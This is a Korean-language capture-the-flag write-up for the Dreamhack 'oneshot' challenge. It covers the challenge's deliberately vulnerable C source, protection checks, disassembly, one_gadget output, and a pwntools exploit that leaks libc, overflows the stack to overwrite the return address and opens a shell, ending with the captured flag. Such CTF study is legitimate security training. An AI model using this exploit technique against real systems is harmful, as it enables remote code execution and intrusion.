[Dreamhack] oneshot

Sisyphus·2022년 7월 15일
0

문제 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    // 버퍼 오버플로우 발생
    read(0, msg, 46);	// msg에 46 Byte 크기 만큼 입력을 받음

    if(check > 0) {	// check가 0보다 크면
        exit(0);	// 프로그램 종료
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

read 함수를 이용해서 버퍼 오버플로우를 시키고 one-shot gadget으로 RET를 덮는 문제일 거 같습니다.


보호 기법

 ⚡ root  ~/wargame/dreamhack/oneshot  checksec oneshot
[*] '/root/wargame/dreamhack/oneshot/oneshot'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

NX와 PIE 보호 기법이 걸려있습니다.


스택 구조

   0x0000000000000a91 <+80>:    lea    rax,[rbp-0x20]	// rax = msg
   0x0000000000000a95 <+84>:    mov    edx,0x2e		// edx = 46
   0x0000000000000a9a <+89>:    mov    rsi,rax		// rsi = msg
   0x0000000000000a9d <+92>:    mov    edi,0x0		// edi = 0
   0x0000000000000aa2 <+97>:    call   0x830 <read@plt>	// read(0, msg, 46)
   
   0x0000000000000aa7 <+102>:   cmp    QWORD PTR [rbp-0x8],0x0	// compare check, 0
   0x0000000000000aac <+107>:   je     0xab8 <main+119>		// check == 0이면 main+119로 jump
   0x0000000000000aae <+109>:   mov    edi,0x0
   0x0000000000000ab3 <+114>:   call   0x870 <exit@plt>


one_gadget

 ⚡ root  ~/wargame/dreamhack/oneshot  one_gadget libc.so.6 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

첫 번째 one gadget 0x45216을 이용해서 익스플로잇을 해보겠습니다. 


페이로드

check는 0이상이면 프로그램이 종료되기 때문에 0을 넣어줬고 RET 자리에는 쉘을 띄울 수 있도록 one gadget을 넣어주었습니다.


익스플로잇

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))


p = remote("host1.dreamhack.games", 21326)
e = ELF("./oneshot")
libc = ELF("./libc.so.6")
#context.log_level = 'debug'

one_gadget = 0x45216


# [1] Leak base
p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
base = stdout - libc.symbols["_IO_2_1_stdout_"]
one_gadget = base + one_gadget

slog("STDOUT", stdout)
slog("base", base)
slog("one gadget", one_gadget)


# [2] Exploit
payload = b'A'*24
payload += b'\x00'*8
payload += b'B'*8
payload += p64(one_gadget)

p.sendafter("MSG: ", payload)
p.interactive()

익스플로잇 코드를 실행시켜보면

 ⚡ root  ~/wargame/dreamhack/oneshot  python3 exploit.py 2> /dev/null
[+] Opening connection to host1.dreamhack.games on port 21326: Done
[*] '/root/wargame/dreamhack/oneshot/oneshot'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/root/wargame/dreamhack/oneshot/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] STDOUT: 0x7f0d29641620
[+] base: 0x7f0d2927c000
[+] one gadget: 0x7f0d292c1216
[*] Switching to interactive mode
MSG: AAAAAAAAAAAAAAAAAAAAAAAA
$

공격이 성공해서 쉘이 떴습니다.


flag 파일을 출력해보면

$ ls
flag
oneshot
$ cat flag
DH{a6e74f669acffd69602b76c81c0516b2}

0개의 댓글